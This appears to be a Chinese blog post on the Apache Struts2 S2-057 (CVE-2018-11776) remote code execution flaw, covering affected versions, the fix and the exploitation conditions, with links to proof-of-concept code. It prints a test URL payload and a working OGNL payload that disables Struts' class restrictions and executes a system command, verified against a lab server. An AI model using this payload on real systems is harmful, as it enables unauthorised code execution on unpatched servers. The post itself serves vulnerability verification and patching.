S2-057远程代码执行漏洞检测与利用

Apache wiki更新了一个Struts2的远程代码执行漏洞(S2-057),漏洞威胁等级为高危,漏洞对应的CVE编号为CVE-2018-11776。 定义XML配置时如果没有设置namespace的值,并且上层动作配置中并没有设置或使用通配符namespace时,可能会导致远程代码执行漏洞的发生。同样也可能因为url标签没有设置value和action的值,并且上层动作并没有设置或使用通配符namespace,从而导致远程代码执行漏洞的发生。

漏洞记录

漏洞编号:S2-057(CVE-2018-11776)

漏洞影响:远程代码执行

受影响版本:<=Struts 2.3.34,Struts 2.5.16

漏洞修复:升级至最新版本

Apache wiki链接:https://cwiki.apache.org/confluence/display/WW/S2-057

利用条件

利用条件:

  • alwaysSelectFullNamespace操作元素没有设置命名空间属性,或者使用通配符。
  • 命名空间将由用户从uri传递,并被解析为OGNL表达式,最终导致远程代码执行漏洞。

检测利用

本地验证:https://github.com/ym2011/POC-EXP/tree/master/Struts2/S2-057

在线验证1:http://0day.websaas.com.cn/

详细验证:https://lgtm.com/blog/apache_struts_CVE-2018-11776
有效载荷:

http://192.168.1.15:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action
$%7B233*233%7D为url编码,解码为:${233*233}

发现我们构造的payload执行了:
在这里插入图片描述
任意代码执行

${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

在这里插入图片描述

参考链接:
https://blog.csdn.net/qq_29277155/article/details/81950170
https://github.com/vulhub/vulhub/tree/master/struts2/s2-057
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值